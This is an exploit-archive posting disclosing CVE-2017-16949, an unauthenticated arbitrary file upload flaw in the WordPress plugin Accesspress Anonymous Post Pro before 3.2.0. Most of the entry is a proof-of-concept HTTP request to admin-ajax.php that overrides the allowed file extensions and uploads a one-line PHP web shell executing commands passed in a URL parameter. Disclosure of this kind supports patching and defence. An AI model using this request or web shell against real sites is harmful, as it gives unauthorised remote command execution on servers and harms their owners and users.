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Accesspress Anonymous Post Pro Unauthenticated Arbitrary File Upload

Accesspress Anonymous Post Pro Unauthenticated Arbitrary File Upload
Posted Dec 13, 2017
Authored by Colette Chamberland

Accesspress Anonymous Post Pro versions prior to 3.2.0 suffers from an arbitrary file upload vulnerability.

tags | exploit, arbitrary, file upload
advisories | CVE-2017-16949
MD5 | dc666e20199943e91f8df230dbe397fc

Accesspress Anonymous Post Pro Unauthenticated Arbitrary File Upload

Change Mirror Download
# Exploit Title: Unauthenticated Arbitrary File Upload
# Date: November 12, 2017
# Exploit Author: Colette Chamberland
# Author contact: colette@defiant.com
# Author homepage: https://defiant.com
# Vendor Homepage: https://accesspressthemes.com/
# Software Link: https://codecanyon.net/item/accesspress-anonymous-post-pro/9160446
# Version: < 3.2.0
# Tested on: Wordpress 4.x
# CVE : CVE-2017-16949


Description:
Improper sanitization allows the attacker to override the settings for allowed file extensions and upload file size. This allows
the attacker to upload anything they want, bypassing the filters.

PoC:

POST /wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000 HTTP/1.1
Host:server
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7230359611602921801124357792
Content-Length: 264
Referer: http://target.com/
Cookie: PHPSESSID=22cj9s25f72jr376ln2a3oj6h6;
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------7230359611602921801124357792
Content-Disposition: form-data; name="qqfile"; filename="myshell.php"
Content-Type: text/php

<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

-----------------------------7230359611602921801124357792--

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